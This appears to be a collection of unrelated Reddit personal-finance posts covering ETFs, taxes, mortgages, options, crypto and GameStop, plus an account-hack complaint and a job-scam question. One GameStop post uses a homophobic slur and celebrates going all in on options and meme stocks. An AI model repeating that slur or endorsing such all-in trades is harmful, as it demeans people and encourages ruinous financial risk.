looking for some relatively safe options. +I'm trying to invest in index funds that are equivalent to the US ETF's ( S&P500, NASDAQ, Vanguard ), I found some of them as SXRV and SXR8 but IB doesn't let me trade them because I need to request permission to do it, not sure why. + + +I'm currently living in Romania, and I'm not sure if this applies to certain countries or only mine. Did you manage to trade ETF's on IB? And if so, did you have to request permission to do it? +I currently live in Belgium. I have a car and travel often, both by land and by air. I need a new credit card and I am interested in getting a travel insurance. I noticed that the platinum credit cards often offer travel insurance, road assistance and other goodies. I already have Europe-wide road assistance in my car insurance but I can scale that down at any moment. + +I did the math and getting the credit card and not all the individual insurances seems cheaper, but I don't have any experience with this. Are there any people that have experience with this and are willing to share it? +I’m looking to passively invest a portion of my pay every month, so I’ll need to have low commissions to turn a profit. + +I have an IB account which supposedly has very low fees. But they hit me with a 4€ commission for every trade! + +Is it possible to get a better deal in the EU? +Perhaps someone here has some expertise on the subject. + +&#x200B; + +I have a few shares from German and Dutch companies held in a Portuguese bank and I'm a Portuguese citizen (and taxpayer, too). + +&#x200B; + +Problem is, I receive dividends and these are taxed at source both in Portugal and origin country. That's 28% in Portugal plus 26.38% in Germany or 15% in the Netherlands (plus bank charges and VAT), all amounting 58% for German dividends, and 41.75% for Dutch dividends. + +&#x200B; + +There are Double Taxation Treaties between Portugal and these countries, however tax laws are too complex, vary widely by country and there are lots of red tape (mostly in national language). + +&#x200B; + +1. **Broad question**: Is there any easy way or any tricks to avoid double taxation here? +2. **Restrict question**: In Portugal you can enter source taxes paid abroad in a IRS return form and they refund them, but you must present a document valid before tax authorities in origin country proving that taxes have been withheld at source . Is there any easy way to get such document? Should local bank supply it to customers? +3. **Alternate question**: Is it possible to surrender dividends and have the company pay them in shares, or something else, instead? +Hi everyone, I want to hear your opinions on what would the be scenario for me at the moment. + +Info: + +I'm 30 living and working in the Netherlands with my wife to be (29). + +We can save \~1.800e/ month in total. + +We now have \~65.000e in our savings account (our savings + some money that my parents gifted us). + +We are currently renting our place which costs us 1.505e with all utilities included. + +Last week I talked to an expat mortgage advisor (we are not Dutch, moved here \~2 years ago) and it looks like we can get a mortgage with \~1% interest for 30 years. + +I calculated all costs and we will be paying \~1.400e/ month if we buy a place, pay for our mortgage, utilities, VVE, house insurance etc. + +We are not planning to stay in the Netherlands forever but we can sell the place anytime and get a decent part of our money back (if property's price remains the same), around 6.500e for every year that we stay here which is a significant amount of money in the country that we come from by the way. + +A few days ago I also cashed out some cryptos that I mined back in 2017 so we have some extra 22.500e on top of the 65.000e I mentioned which I want to re-invest. + +I have already opened an account for Degiro and I invested 1.000e in 4 different ETFS (10% INRG, 10% DOCT, 40% IUIT, 40% IWDA). + +&#x200B; + +I was thinking of getting a mortgage to buy a place without paying any down payment (Except for the initial costs & fees of course) because the sooner we buy it, the more money we will eventually be saving when we finally sell it and leave the country. + +Then I will be investing 500e/ month in those ETFs. + +I don't know what to do with the 65.000e sitting in our savings account and the 22.500e sitting in my coinbase account. + +I am looking for 5+ years of investment horizon so investing in ETFs looks like a "safe" way to make more of my money but I don't know what the best way to invest the rest of our money is. + +&#x200B; + +Any ideas/ thoughts will be highly appreciated! + +Thank you. +The analysis below is what I'm basing on my intention to have all my equity part of the portfolio in ex-US: + +Looking over historic data of CAPE ratios for various countries you see that most are above their average, but the US in particular stands out because it's almost at an all-time high around .com bubble levels. Relative to the rest of the world it went up a lot quicker: + +[https://indices.barclays/IM/21/en/indices/static/historic-cape.app](https://indices.barclays/IM/21/en/indices/static/historic-cape.app) + +Most forecasts for 2021-2030 seem to confirm the US will either lag the rest of the world or in the most pessimist forecasts (Grantham Mayo Van Otterloo, Morningstar Investment Management and Research Affiliates) negative. Although I'd image these forecasts also rely on the same CAPE observations I made. + +[https://www.morningstar.com/articles/1018261/experts-forecast-stock-and-bond-returns-2021-edition](https://www.morningstar.com/articles/1018261/experts-forecast-stock-and-bond-returns-2021-edition) + +In the light of the above and given the chance to make a brand new portfolio without selling much, my intention is to make the equity side of the portfolio entirely ex-US. From the MSCI ACWI index I've derived the following allocations that exclude US and Japan (Japan has a weird account standard regarding the (non)consolidation of profits/losses of child companies leading to an artificialy cheap CAPE. I think JP is 2nd most expensive after US): + +iShares MSCI Europe 47% + +iShares MSCI EM IMI 33% + +iShares MSCI Pacific ex-Japan 8% + +iShares MSCI Canada 8% + +&#x200B; + +So far I've identified the following risks: + +1. US over-performance could be warranted: their tech companies could continue to reshape the world reaping massive profits compared the the "old world" +2. ex-US has been more volatile +3. Emerging markets index is very heavily concentrated in a few companies and may prove to have insufficient diversification +4. Some of the larger economies in EM have also had a huge run-up, like India +5. GAP rules have changed over time and CAPE ratios don't always compare well with the past (but they do compare well between countries at the same moment in time). + +Over the next 30 years I'm pretty sure you would be better off with the whole ACWI index, as US and ex-US tend to rotate. If US will under-perform in the 2020s it will probably over-perform in the 2030s. However I don't how long my horizon will be. It will definitely be over 10-15 years BUT how much above that I have no ideea. Most people tend to overestimate their horizon as they have planned expenses they ignore. + +About me: + +I'm currently 35, FI but not retired. I'm looking to work part-time in a few years and perhaps retire completely by the time I'm 50. So I'd rather try to optimize and rotate from performers to under-performers, then to chase the performers. Either way, as a devout Graham follower I'm finding it very hard to buy lots of US equity at the current valuations. + +With most of the investment advice online oriented towards the US investors it's hard to a good discussion in this direction. Most of them are on the opposite side of cutting back from "international". I'd like some to see this discussed from the European perspective. What do you think? Is my reasoning flawed? Am I overthinking? +Hello, First of all I want you to know that I am new to the finances, any advice or learning about stuff that I need to know is more than welcome! + +I want to invest the money which I managed to save for the last couple of years but I'm not entirely sure where/how to do that. Since I live in Bulgaria and everything seems sketchy and a pyramid scheme oriented, I've decided to look out of my country, and so far I've discovered and learned about the ETFs but I got some mixed feelings about it. Keeping the money in the bank is next to useless I'm basically losing money since that the interest rate is about 0,0..something percent and plus bank taxes I am either getting really really small amount or at best I'm at 0. I had also explored an options to keep the money in a foreign bank such as DeutscheBank and such, I've seen their interest rates being at around 7% but that seems too much for me and my best guess is that I've mislooked something. Maybe there is some other opportunities? Something that I don't know about.. I'll be thankful if you give me your opinion about it. The amount is close up to 15k EUR. + + +PS. I have an emergency 'fund' (I've calculated my expenses for 12 months ahead and saved the amount onto a different acc in the bank) +Hello everyone, + +I'm currently living in Amsterdam and I work as a software developer. I moved here from Italy, mainly to get out of my comfort zone, and explore the world more. I have never lived on my own, before moving here, and I love the city. + +The problem I'm facing is moving. I can't afford to buy a home in Amsterdam, and honestly, I don't want to, because I would like to travel. The problem with moving is that in 2.5 years, I had to move 4 times and now I'm facing the 5th. + +I'm really sick of this. If I think about it, is tiring, It's difficult to make friends and is simply a waste of time and money. + +Sadly I'm thinking that this is enough, and I'm also thinking about other cities. + +I had Berlin in mind, but I have never visited. I have been to London last summer, but brexit can be something I would have to deal with. + +Since getting a remote job has not played well for me, do you have any suggestions? + +I'm writing it here, because I would like to have a good balance between salary and expenses, and maybe a good environment for developers. + +&#x200B; + +Thank you! +Well guys, I lost 90k today on SPY calls which was basically all of my account. I started in 2017 with like 30k of my own money and over the course of 3 years, spent probably a couple hundred hours learning about stocks, options, doing "research" etc. Today, I am down 8k since i started in 2017. + +Proof: https://imgur.com/8zoihg7 + +(shows -60k but I was down -30k yesterday already on the calls) + +That was money I planned on using for a downpayment on a house, and for paying my taxes on gains from last year. So once February comes around, the 20k I have left is basically going to taxes on gains from last year which are now gone. I am effectively broke :-) + +Im not that upset because I have a decent paying job.. but god damn, I was literally just contacting real estate agents last week because I was planning on buying a house. I could still buy one, but it will probably take me years to get back to 100k in savings. + +I should have just stuck to selling puts like I was doing for the past couple months. The gains aren't huge, but selling 100k worth of puts every week is enough to make you a couple G's every month with not a ton of risk. I could have made my future mortgage payments just selling puts. + +I am trying to look on the bright side. Having 100k made me spend somewhat frivolously. Like eating out twice a day, buying clothes i didn't need, etc. Now I have to go back to scrimping and scraping, which is good I think. I was getting a little ridiculous. + +Also, I have been finishing up my degree online but have had no motivation since I already have a decent job and decent money saved. Im feeling the pressure now to hurry up and finish my degree so I can get a better job (100k+ a year). + +I went all in on $390 1/22 SPY calls yesterday. I did the math; if we would have had a 1.5% day today, I would have made about 500k.. but it was pretty flat so at open, I was already down a shit ton. Figuring there was no chance left, I pulled out what was left, about 47k. I saw ford was going up crazy and figured that was pretty much my only chance to get back to where I was. Basically bought calls expiring tomorrow at the top, started going down, I pushed out and sold. So now I have 20k. + +I'm not super depressed about it or anything because I know ill be fine, but I already miss the coziness of having 100k stored away. Knowing that if I lost my job or something, id be okay. But like I said, Im looking on the bright side. + +My goal at the moment is to just save as much money as possible, pay my taxes in February, and then start over. +Not even gonna lie, if I didn't need the 20k to pay taxes on last years gains, Id probably yolo it into something crazy. It's better to feel like this than nothing at all. Kinda fucked but whatever man, life is just boring. + + +***EDIT 1:*** Honestly guys, I could go all in GME shares but even if it goes up 100% this year, I will only be at 40k.. which is already far fetched. Do any of you seriously believe GME is going up 500% this year? Maybe. Maybe you're right.. Maybe I need to go all in shares, defer paying my taxes for as long as possible, and hope for the best. God you guys give me hope. + +***EDIT 2:*** + +**ALRIGHT, so im going all in shares on something and just holding long. Half of you faggies are saying GME, half are saying BB. Which fucking one is it? I can't risk any options plays at the moment**. + + +***EDIT 3: ***Went all in GME this morning, already up 50% to 30k. There is hope!*** + +#***EDIT 4: ***I was able to make all of my money back because of GME! Went all in with my remaining 20k and up 400% in under a week! Account is back up over 100k because of GME, Elon, and not least you glorious autists. I sold last week at around 350 because I cant afford to lose all that money again. I felt like I won the game. Like god had thrown me the "Reset" button and it was time to get out before something bad happened. + +# **Then Robinhood pulled their shit. ** +The hedge fund freaks got on the news and started crying +The media started painting us out to be the bad guys +The hedge funds DOUBLED DOWN and reopened their shorts at current levels + +And I got pissed. FURIOUS. They blatantly rigged the game, right in plain view, and they think they are going to get away with it. And if we don't fight them, they will. + +#So, as much as I would have liked to accept gods reset button, to take my money off the table and go back to a lower risk strategy, I had to jump back in. So I'm back in on GME with a small position which I can afford to lose. And I don't care if I lose that money. At this point, it's about the message, its about solidarity with my fellow autists. It's personal, and Im seeing it through to the end. I will diamond hand these shares until the fucking end with you guys, even if it goes to 0. I've been on this sub for years now, I love this sub, I love you fuckers, and I LIKE THE STOCK. + +#LETS FUCKING GO. +Reddit - + +I need help real quick. I applied for a job as an independent contractor (1099). I joined a google meet interview and next thing I know I have the job. Before you decide whether it's a scam or not I'll give you all the details. + +There were 3 different positions available for this company. 1 of them had no fee but didn't pay as well as the others. The contract asked for my SSN which I thought was weird at first but read into it and asked some people and basically said fuck it. + +Next they wanted $150 for some hiring fee or something as they use this to make you business cards as well as send you company products such as shirts and hats and whatnot. Compared to what I could be making that money is nothing. But it's more about the principal and I have a feeling the second I pay I am never gonna hear from them. What I am thinking is I start off working the "free" position for a bit to make sure it's legit work and then pay the money to move on to the higher commission position. What do you guys think? +https://www.news.com.au/finance/real-estate/buying/worst-case-scenario-fears-house-prices-could-plunge-by-435-per-cent/news-story/af75a630f4e99db793e0abd9256d849c + +Let's see how much bullsh*t we can print to really scare the masses...🙄 +A couple of weeks ago, my Airbnb account was hacked (had a very old, unsecure password, I've since changed it, along with all of my other passwords), whoever gained access then made a reservation for approximately £5000. As I've used Airbnb plenty of times with no issue, Airbnb was set up as pre-approved payment with PayPal, and so the money was sent instantly. + +I haven't got an amount even close to that in my account, so my bank declined it, and I thought this would be no issue as no money ever left my account. The problem is that PayPal has sent this money to Airbnb, and because this hacker chose to be refunded in booking credits, Airbnb are refusing to send the money back to PayPal as credits "cannot be changed under our terms of service". + +Now PayPal are calling / emailing me telling me I need to start paying them back or there will be legal consequences, so I am having to pay out of my own pocket in order to avoid this. + +I've been contacting Airbnb almost daily via phone, email and support chat but I get the same copy & pasted responses telling me credits cannot be changed. I did have one helpful agent tell me I would receive a refund after 5-15 days, but it's now past this point and I've heard nothing from them since. + +If anyone has any ideas / someone I can contact it would be extremely helpful. I did even think of sending the CEO an email but I'm not sure this would do any good. + +Thanks in advance if anyone can help! +2022 has been a roller coaster of a year for equities. What lessons have you guys learned during this downturn, and how has it changed the way you analyze the market, if at all? + +For me, I've seen that cash can have a place in a portfolio during QT and rising interest rates, where as before this year, it was hard to justify. +The future use cases of NFTS will be astonishing. Most people think NFTs are BS because they think they are just little pictures. So what are apes doing? Creating stupid low definition crap pictures to give away as NFTs. I just don’t get it. Why do we keep reiterating the main point against NFTs on here? Why are apes excited about these NFTs? I guess it would be kinda cool to have a portfolio of cool little art pieces but most of the ones I see being given away could be made by a toddler. + [https://www.bloomberg.com/news/articles/2020-03-10/robinhood-maxed-out-credit-line-last-month-amid-market-tumult](https://www.bloomberg.com/news/articles/2020-03-10/robinhood-maxed-out-credit-line-last-month-amid-market-tumult) +Robinhood drew its entire $200 million credit facility from Barclays Plc, Citigroup Inc. and JPMorgan Chase & Co., according to people familiar with the matter. It made the move just as fears of the coronavirus set off more than two weeks of violent market swings and heavy volume, during which Robinhood’s trading platform suffered three significant outages. + +“Our capital position remains strong,” the Menlo Park, California-based firm said in an emailed statement, saying the decision to borrow predated and was entirely unrelated to the outages. “We determined it was prudent to draw on our credit line during the week of Feb. 24 in light of market volatility. That capital was returned in full last week.” + +It said it’s not unusual for companies to take precautionary measures during such market conditions. + +“Companies don’t tap their credit line unless they need to,” said David Ritter, an analyst at Bloomberg Intelligence, who spoke generally about the issue without commenting directly on Robinhood. When companies do, it’s “perhaps not a good signal with regard to their cash burn, which could make creditors nervous.” +I asked this in another subreddit but there wasn't enough knowledge on this subject there to fully answer my question. I thought you guys would be more informed. + +I'm still confused as to how what they were doing was illegal in the movie. It seemed to me like they were just being sleazy salesman selling shitty stocks to people. I'm curious as to when this crossed the line into illegal territory. +I feel like they must have left things out in the film to make the lifestyle seem cooler. +This is continuation of the [post from the last year](https://old.reddit.com/r/financialindependence/comments/m5zfv4/having_a_child_year_one_financial_summary/) + +There are a lot of questions about how much financial impact a child has. Here are updated numbers, for the second year of his life, March 2021-March 2022. + +**Background:** We are a couple with above average household income (\~engineer + entry level engineer manager) with one human child. A median house in our city is selling for \~$650k. When it comes to the financial decisions, we don't purchase the cheapest items, but we look for underappreciated items of decent quality (think - unpopular color patterns, used stuff off craigslist, houses that needs work). While we price compare across a few websites, we don't spend too much time trying to find the best deal. + +**TLDR** + +Cost: + +* Before birth: $5100 +* Year one: $27,044.58 +* Year two: $33,608.63 + +**Details:** + +***2019-2020*** + +Before the kid was born: $5100 - Vitamins, doctor visits, car seat, stroller, baby prep items + +***2020-2021*** + +After the kid was born through the first birthday: + +Approximate breakdown: + +* $13,120.00 Daycare at $1280/m, starting at age 2.5 month +* $4,432.00 Doctors <-- birth, after birth care, visits & vaccinations, one \~4 day hospital stay due to infection +* $3,360.00 Insurance +* $2,554.00 Amazon <-- supplies for the baby and mom +* $1,250.00 Target <-- supplies for the baby and mom +* $480.00 Babysitter at $15/hr +* $1848.00 Who knows / miscellaneous + +&#x200B; + +Total: $27,044.58 + +&#x200B; + +First year came out to $2250 per month or $75 per day. + +***2021-2022*** + +First through second birthday: + +Total: $33,608.63. + +* $17,090.00 - Daycare +* $4,919.00 - Babysitter at $18/hr + one time 10% bonus (she comes every Saturday for \~7 hrs) +* $3,864.00 - Insurance +* $3,240.40 - Who knows <-- clothes, books, toys, ikea furniture items +* $2,045.73 - Target <-- diapers, disposables, snacks, toys +* $1,811.68 - Amazon <-- diapers, disposables, snacks, toys +* $637.82 - Doctors <-- visits, copays and drugs + +Second year came out to be $2800 per month or $93 per day. + +**YOY changes:**. + +* Daycare: +$3,970 (+30%) - full year in daycare versus 9 months, daycare cost increase +* Babysitter: +$4,439 (+924%) - we didn't use the babysitter in the first year as much +* Insurance: +$504 (+15%) - insurance went up +* Who knows: +$1,391 (+75%) - one year olds need more toys +* Target: +$795.73 (+63%) - we switched to Target from Amazon because it's cheaper +* Amazon: -$742.32 (-29%) - we switched to Target from Amazon because it's cheaper +* Doctors: -$3,794.18 - More frequent doctor visits, extra medications, but didn't hit the deductible; this does not include one ER visit (still waiting for the bills to come) +You take a decentralized currency, and centralize it into a few large exchanges, and are surprised of the results. + +-Keep your assets diversified. +-Only put a small amount of your cryptos in an exchange +-Dont let large mining pools become too powerful on your network + +Any other words of wisdom fellow cryptos? +Why are people still using the argument of the dot-com bubble being much higher in market cap (trillions) while cryptos are only in hundreds of billions as a reason why cryptos are not in a Bubble? + +Please look at this: +http://www.businessinsider.com/bitcoin-price-bubble-in-4-charts-2017-11 + +"At the beginning of 2015, Bitcoin was trading just above $300. In early November this year, the Bitcoin price topped $7,600. That translates to returns north of 2,200% in a matter of 1,041 trading days. + +By comparison, the NASDAQ index was up 391% after 1,041 trading days from the start of 1995. Returns on the NASDAQ index peaked just shy of 1,100% after 1,326 trading days. + +Bitcoin’s run has far outpaced the tech bubble, and its returns have already dwarfed dot-com mania." + +So it seems, it really is a very, very bad bubble that outcompetes with what we had during the dot-com boom. + +Google's IPO was $85 in 2004. Today it's $1,056. It took 13 years to 10x. And Google is exponentially more useful than Bitcoin. + +This is not healthy growth. It's speculative mania. + +Any counterarguments? +Hi reddit. I've been interested in crypto for some time now, and I think it's finally time to take the leap. I have $5-10k that I'd like to drop into the market, in the hopes that crypto takes off at some point in the distant future, but I don't know which one to invest in. + +The simple answer would be Bitcoin, because it's the first and it has the most infrastructure (BTC ATMs, easy to buy and sell, etc), but it's also old and I'm not sure if it would last at mainstream adoption - it could just be outdone by a newer, better crypto. Though I could buy 1 BTC which is in my price range and just let it sit. + +I've also considered buying smaller amounts of a wider range of cryptos, for example the top 10 or top 20. My issue with this is that they change often and I don't want to constantly manage, I'd rather buy and forget about it for a long time. + +If you were in my situation, what would you do? I know there are a lot of smart people here who know a lot more about this than me, your advice is appreciated. +Markets are category 2 chaos systems. The difference between a category 1 and category 2 chaos system is that a category 1 system doesn't react to predictions. + +For example: The weather is a category 1 chaos system. There's so many variables interacting that you can’t perfectly predict it. It’s chaos. But we try to predict it. And the weather doesn't give a shit about our predictions. It's going to be what it's going to be no matter what we say. Category 1. + +A category 2 chaos system is reactive. Not only can’t you predict how the stock market will act. You can't predict how the market will react to the prediction of how it will act. If I say the market will go up 10% tomorrow, then everyone will buy in an attempt to take advatage of the increase thereby making it go up 20% potentially, in turn falsifying my 10% prediction. Category 2 chaos systems react to themselves. + +So why is the crypto bubble (assuming it is one) different from all other bubbles... + +With the housing bubble in 2008, no one was on the news calling it a bubble until after the fact. Dot com bubble? I don't know. I’d have to do more research. But people who remember it tell me that there was not nearly as many people going on the news saying the dot com era was a bubble. + +What makes the crypto bubble different is that it is arguably the most self-aware bubble in history. I think that’s partially what accounts for the hyper volatility. I also think it’s also what allows for this bubble to have greater longevity. + +Think of an analogy to a balloon: If you just blow up a balloon all the way, it’ll pop. But if you blow up a balloon a bit and then let some air out and then blow it up some more and then let some air out, you’ll fulfill the balloon’s elastic potential far more than if you just blew it up all at once. + +How does this analogy pertain to the crypto bubble? Well, because of how self-aware the market is — because of how often someone cries “bubble” or “fraud” or “crash” — the market takes wild dips periodically. This is the equivalent to letting out air from the balloon. It allows the market to expand even further. The housing bubble wasn’t a self-aware bubble, so it hit hard and all at once and out of no where. + +The attribute that makes the crypto bubble different from any bubble in history (high degree of awareness) is what gives it so much potential for growth before it bursts. +I'm thinking about getting into it after the btc HF's. Price looks hella juicy now, but how much will it lower? + +I'm expecting to hold on it for 3 months. What do you think? +"We’re excited to announce our biggest update to date: Robinhood Instant. We've removed the 3 day waiting period, allowing you to: + +- Reinvest cash immediately after selling stock. +- Buy up to $1000 of stock immediately after depositing from your bank. +" +* AMA with CEO tomorrow +* Whitepaper imminent +* Mobile app Q1 or Q2 (pending whitepaper) +* Staking TBD +* Decentralization EOY + +And best of all, Bruno, the architect of the PRL scam (OPCT's predecessor), is in jail. +Hello All, + +This past weekend there was a misinformation circulating in the Sub. You might have seen the calls for action stating PLAN (DRIP/DPS) holding are still in DTC(C) citing old AMA. + +**This post is not about BOOK vs PLAN. It is about how social engineering works. I don't care what you do with your investment.** + +&#x200B; + +&#x200B; + +[This is one of many](https://preview.redd.it/xhw7wult9j1a1.png?width=601&format=png&auto=webp&s=5db595676c471373df1158aebfd53e2b9a39e543) + +Calls to action with a side of urgency, seems important. + +&#x200B; + +&#x200B; + +[one of many examples](https://preview.redd.it/5ehy92chaj1a1.png?width=722&format=png&auto=webp&s=e156510b08d5f36e83b80fa11a0641c1c6bfc65f) + +&#x200B; + +Now let's hear it from DR.T, + +&#x200B; + +&#x200B; + +https://preview.redd.it/l68ugjnraj1a1.png?width=598&format=png&auto=webp&s=c5e2e2952069fc4864132fa7e2e803310ec79b90 + +&#x200B; + +&#x200B; + +https://preview.redd.it/9zstu2zuaj1a1.png?width=601&format=png&auto=webp&s=52b7c58abc6089b3531eacc3009cb828f06df035 + +&#x200B; + +https://preview.redd.it/3us2ulvyaj1a1.png?width=612&format=png&auto=webp&s=757d41cc37d038b020f88f8314279cf34ca1c969 + +&#x200B; + +https://preview.redd.it/tiq1hoz9bj1a1.png?width=600&format=png&auto=webp&s=8aa83b078643d176742705ea1b47e6a74cb35b04 + +&#x200B; + +https://preview.redd.it/xm5f1jeebj1a1.png?width=603&format=png&auto=webp&s=6f04f4e03365e144128eaba5aabe31c6478e6bff + +Edit, Added the link on Twatter. + +[https://twitter.com/SusanneTrimbath/status/1594838022381785090?t=ukjenc1X8nNlau1yvYHKhg&s=19](https://twitter.com/SusanneTrimbath/status/1594838022381785090?t=ukjenc1X8nNlau1yvYHKhg&s=19) + +Edit 2 Paul from CS 9:05 mark. Credit u/Get-It-Got + +[https://youtu.be/9H\_pEIhIdTo](https://youtu.be/9H_pEIhIdTo) + +Now that being said, I have one big ask from all my SuperStonk fam, + +Please vet the info you saw from other Subs especially 🍿. + +This is to show how easy to rally ppl with a nothingburger. Please stop believing everything you heard on the intranet. + +STOP REACTING & DON'T DO ANYTHING IN HASTE PLEASE. + +Heavy FUD will thicken in the days to come. + +Stay cool. + +Chato out + +CS FAQ link for the bonus, + +[https://www.computershare.com/us/becoming-a-registered-shareholder-in-us-listed-companies](https://www.computershare.com/us/becoming-a-registered-shareholder-in-us-listed-companies) +Some random guy wearing a "X company" hat stopped by looking for me as I was getting out of my car. I asked "who are you and what do you want?" He told me that he owned a nearby property and that he wanted to have a discussion about buying. He never told me his name or where he worked. I told him that the person he is looking for is unavailable and that he can talk to me. He was dressed unprofessional looking like a construction worker and parked on my private driveway without asking. Keep in mind I am not looking for a buyer atm. + +So i was waiting for his pitch. He said he was looking to discuss with me. I said so what are you offering? He said I don't know what do you want? I told him he came here and that I didnt look for him. So i threw out a slightly outragous number. For discussion sakes lets say $5m. In reality i have received offers for half that. He laughed. I then said the property isnt for sale and told him he could leave a card with my assistant. +Doing more research on his firm, he is a large buyer in the us for underperforming assets and is known as a slum lord. +How should a buyer approach you? Was I a d!ck? +I sold a covered call for 465 strike price right before the SP500 announcement. Man... totally missed the boat. + +I've rolled it to 475 strike expiring 12/4. + +It seems like I can roll out one week and up $5 for free or slight credit each time. If rolling up locks in $500 per week, I guess that's the best option. Anyone else in this situation? + +My plan now is to roll out each week and up $5 strike if possible (for free or slight credit). Maybe I'll catch up to the current price after a while. + +&#x200B; + +Is it better to roll on red days, or green days? Or does it matter?Red day: sure it's cheaper to buy back, but you also get less credit on short call. + +Green day: expensive as heck to buy back, but also the call you sell to roll is expensive. +I have a few stocks that I am basically bag holding on. I don’t real plan to sell them at this time, but it would be fine if I did. So I have been reading up on options, and I think I have the basic understanding of how to sell covered calls, but just wanted to check that I understand the risks. My “plan” is to sell covered calls that are a little otm to collect the premium. This is not necessarily a money making strategy, the premiums are small, but more of a way to get familiar with option trading, see how they work in the portfolio, that sort of thing. Am I understanding the risks correctly that the only negatives are that the shares may get called away, and I might miss out on some theoretical future profits? +example: i sell XLF cc for some strike price and just wait it out till the end because i dont want to mess with it and close it before time. is it a good thing to do that or is it additional risk? +Keep it friendly and civil; this is not WSB and automod will censor your posts at will for unsavory and unfriendly remarks. Try to keep shit posting and bragging to a minimum. +My strategy is simple. I sell options approximately every two days on SPY ETF. I am looking for anyone who has tried this. There appears to be significant advantages in selling options that expire one to two days out versus monthly or even weekly options. The significant advantage is the ability to predict, within a higher degree of accuracy, what the price of an ETF like SPY would be within 24 to 48 hours from now. I have already built some good statistical analysis within Microsoft Excel but I am trying to build more. I am looking for anyone else who was familiar with this type of strategy and is willing to share some ideas. +Hey theta, + +I've been following tastytrade's method to the "t" for a while now, and it's treated me well I'm up 6% since late Sept. Given though vix has been dumb high this whole year so it's been a great time to be short vega. + +The concerning thing though with the business is what happened when the covid crash began. The only video I can really find talking about how it affected them was by Dr. Jim schultz who did a little account building video earlier this year including the one where covid took his account down at least 50%! All of the positions were short vega. He went on to say that he doesn't do these videos to make the account money, but rather to teach. (Wtf?) + +https://youtu.be/JDMvXUbs3lQ + +This is the link it starts at 3:10 + +Anyways, tastytrade says to protect against drawdowns, keep trades small and uncorrelated, but if you all were in the game in March, EVERYTHING fell they all became correlated and short vega was not the place to be. + +Wanted to hear some thoughts about draw down protection. I've been thinking to go vega nuetral or maybe buying vix calls. +Hi, so my broker is being very inconsistent with his messaging. From day one he say we would have no problem getting this loan and it's almost guaranteed to be approved. + +Last week he said it was with LMI and it was being held back because my partners new employment. + +LMI then didn't approve the application as she started a new part-time that she hasn't had previous experience in. + +Yesterday they said 'you will get three offers tonight' + +Today I got a message saying they need more times to do the numbers to make it work....and it can be another five days. + +The financial clause ends Monday. He is requesting a extension however I doubt we are going to get it. + +Honestly, does it really take this long? Can LMI not approve a application because of change of employment even though the bank approved? +https://www.newsweek.com/youtube-tv-loses-disney-espn-live-abc-price-subscription-1660856 + +YouTube TV has lowered its subscription prices for customers after failing to strike a deal to carry channels owned by Disney. From Saturday, 18 channels including offerings from ESPN, ABC, and Disney Channel will no longer appear on the live streaming service after negotiations failed to yield a deal. To make up for the fewer channels, YouTube TV, owned by Google, has dropped its monthly price for customers by $15 to $50 a month. Subscribers had been told in a blog post on Monday that the House of Mouse "is an important partner for us," and that it hoped to strike a deal with Disney if they could reach "equitable terms," ahead of the of their current agreement lapsing on Friday. + +It said it wanted Disney to treat the streaming service "like any other TV provider" by giving it the same rates that similar-sized services pay across Disney's channels. However, in an updated blog post on Friday, YouTube TV said that despite the "good faith negotiations" with Disney over several months, "we've been unable to reach an equitable agreement before our existing one expired." It added that their channels "are no longer available on YouTube TV. " + +"We know this is frustrating news for our customers, and not what we wanted," the post said, "we will continue conversations with Disney to advocate on your behalf in hopes of restoring their content." In a tweet on Saturday, YouTube TV said "we worked hard to avoid this but were unable to reach a fair deal with Disney. "We regret to share that as of December 17, all Disney-owned channels are unavailable," on the streaming service, it added. Meanwhile, Disney had said that following the negotiations, YouTube TV had "declined to reach a fair deal with us based on market terms and conditions." + +The Verge reported that the loss of the channels will be a blow to YouTube TV in staying competitive against other internet cable services like Hulu with Live TV or Fubo TV. As well as Disney channels, FX, ESPN and National Geographic will also be dropped from the service. +After doing a plethora of research, I’m finding out that Ethereum might not be the best blockchain tech wise. Blockchains such as Cardano, Algorand, Cosmos etc all seem to have various advantages over Ethereum. + +These advantages include lower fees, speed, scalability, decentralization and already being proof of stake. (It’s debatable whether proof of stake is superior or proof of work but I won’t go into that). + +Other than being the most adopted smart contract platform and being “first to market,” is Ethereum actually technically better than most other Layer 1s out there? + +Don’t get me wrong I’m bullish on Ethereum, but I’m even more bullish on other Layer 1s. + +What are your thoughts on this? +Edit: Deleted the post, I thought I had some interesting things to say that would spark interesting conversation and I could see other points of view, but it's mostly just people flinging shit at me, and my character. So hodl or something I guess. +Freshii just announced it was being bought for $2.30 per share and the stock rose today to $2.22 and has been quite stable all day. + +I own a small amount of the stock and am trying to reason the pros and cons of selling vs waiting. + +Does the 4% disparity represent the risk that the buyout might not go through? If not, what reasons might there be for the price difference? The convenience of receiving the capital 1 quarter early? +As you can already guess this idea is inspired from the famous r/millionairemakers sub. + +What sub better to run this better than our very own r/Cryptocurrency ? +With moons vault it's pretty easy and straightforward to donate a moon for everyone. +Even if a thousand of us just donate one moon each, it can make up a significant sum for a lot of people on this sub. +we can do this weekly/monthly or as mods decide. + + +For people who are not aware the general premise is that Mods can take all the unique user comments from one post and use them as raffle entries, which they can put through a random draw to come out with one user who has won. + +Mods can just create a Public moon vault for the very purpose to which we can all donate and make the day of the winner with some considerable moons. + +So what do you guys think? + +Edit: General consensus from the comments is that only the people who donate 1 or more moons should be eligible. Which is actually sensible imo. +Some days before the splividend a guy said that he got into a conversation with someone that worked in hedge funds or something like that ([post](https://www.reddit.com/r/Superstonk/comments/w2q0qt/major_trust_me_bro_story_fidelity_senior_advisor/?utm_source=share&utm_medium=ios_app&utm_name=iossmf)). He told him we'll hit an all time low and shills will attack much more frequently from what i could remember. I feel like this is what is happening, i'm seeing a lot of posts calling out someone or another post etc... i saw people say that, and i'll say it again and i'll keep saying it : they want us to crumble from the inside. **Divide to conquer**. Please read this carefully and never forget that : Buy, Hold, DRS, i'm not knowledgeable at all on the subject and i'm just repeating what others are saying as this is really important, be civil and be kind to one another. Don't fight over dumb shit and stay respectful. Just because someone isn't agreeing with you doesn't mean they're a shill, they might just have a different point of view that you need to talk about. + +Also something that's really weird, i'm not really the type of guy to believe that shills are here and they're after us etc, but recently i made a [post](https://www.reddit.com/r/Superstonk/comments/vjsr4k/want_to_know_what_everyone_thinks_about_that_im/) about a comment on a post i saw about the DTCC basically cancelling margin calls that basically said that MOASS was dead and wanted opinions on it, and for some weird reasons it got lots and lots of awards and 15k upvotes, where valuable DD that exposes how all of this is real and GME will eventually blow the fuck up only get 3-4k at best from i've seen. From my understand they're mass upvoting posts that will push you to believe that it's all over/will never happen, but they're not downvoting the valuable DD en masse because that would be to obvious i guess. + +I really hope enough people will see this and won't forget 